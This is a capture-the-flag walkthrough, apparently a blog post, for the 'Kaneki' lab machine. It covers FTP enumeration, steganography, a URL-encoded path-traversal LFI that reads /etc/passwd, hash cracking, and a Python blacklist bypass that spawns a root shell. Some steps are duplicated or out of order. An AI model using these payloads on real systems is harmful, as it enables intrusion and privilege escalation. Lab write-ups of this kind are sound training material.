In this writeup, I will walk you through the process of compromising the Kaneki CTF machine. This journey covers everything from network enumeration, reverse engineering, and steganography to web exploitation (LFI) and advanced Python sandbox escapes.
Phase 1: Enumeration & Reconnaissance
The journey starts by exploring the web interface.
Source Code Analysis: Checking the HTML source code is always a good practice. A hidden HTML comment suggested checking the "FTP room" for clues.

Port Scanning
I performed an Nmap scan to identify open services:
nmap -sV -sC [TARGET_IP]
-
Results: Port 21 (FTP - Anonymous allowed), Port 22 (SSH), and Port 80 (HTTP) are open.
Phase 2: FTP Exploitation & Data Gathering
- Authentication: Logged into FTP using the anonymous account.
ftp [TARGET_IP]
-
Extraction: Navigated to the
need_Help?directory and downloadedAogiri_tree.txt(containing lore-related hints), a binary namedneed_to_talk, and an imagerize_and_kaneki.jpg.
cd need_Help?
ls -la
get Aogiri_tree.txt
cd Talk_with_me
get rize_and_kaneki.jpg
get need_to_talk
exit
cat Aogiri_tree.txt
Phase 3: Reverse Engineering & Steganography
-
Binary Analysis: Executed the
need_to_talkbinary, which requested a passphrase.
chmod +x need_to_talk
./need_to_talk
-
Keyword Discovery: Used the
stringscommand on the binary to find the hidden keywordkamishiro.
strings need_to_talk
-
Passphrase Extraction: Entered the keyword to receive the image passphrase:
You_found_1t.
./need_to_talk
password : kamishiro
-
Steganography: Used
steghideto extract hidden data from the JPG file:
steghide extract -sf rize_and_kaneki.jpg
passphrase: You_found_1t
-
Outcome: Extracted
yougotme.txt, which contained Morse Code.
steghide extract -sf tize_and_kaneki.jpg
cat yougotme.txt
-
Decoding: By using CyberChef (Morse $\rightarrow$ Hex $\rightarrow$ Base64), I revealed the secret directory:
d1r3c70ry_center.
d1r3c70ry_center
Phase 4: Web Exploitation (LFI)
-
Directory Brute-Forcing: Accessed the new directory and ran Gobuster to find hidden paths, discovering
/claim.
http://[TARGET_IP]/d1r3c70ry_center/
gobuster dir -u http://[TARGET_IP]/d1r3c70ry_center/ -w /usr/share/wordlists/dirb/common.txt
http://[TARGET_IP]/d1r3c70ry_center/claim/index.php
-
LFI Vulnerability: Identified a Local File Inclusion vulnerability in the
viewparameter. -
Payload Bypass: To bypass filters, I URL-encoded the payload to read
/etc/passwd.
../../../../../../etc/passwd
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
-
Credential Recovery: Successfully read
/etc/passwdand extracted the password hash for the userkamishiro. *
http://[TARGET_IP]/d1r3c70ry_center/claim/index.php?view=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
username:kamishiro
password:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
-
Hash Cracking: Saved the hash to
pass.txtand cracked it using John the Ripper:
nano pass.txt
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
-
Hash Cracking: Saved the hash to
pass.txtand cracked it using John the Ripper:
john pass.txt --wordlist=rockyou.txt
username : kamishiro
password : password123
Phase 5: Initial Access & Privilege Escalation
- SSH Login: Authenticated via SSH using the cracked credentials and captured the User Flag.
ssh kamishiro@[TARGET_IP]
password : password123
cat user.txt
-
PrivEsc Enumeration: Running
sudo -lrevealed that the user could run a python scriptjail.pyas root.
sudo -l
password : password123
-
Code Analysis: The script used
exec()but implemented a blacklist filter for keywords likeimport,os, andsystem.
cat jail.py
- Outcome: Finally, I became Root and captured the Root Flag.
sudo /usr/bin/python3 /home/kamishiro/jail.py
- Python Sandbox Escape: I used string concatenation to bypass the blacklist and spawn a root shell:
__builtins__.__dict__['__im' + 'port__']('o' + 's').__dict__['sys' + 'tem']('/bin/bash')
cd ..
cd ..
cd root
cat root.txt






























Top comments (0)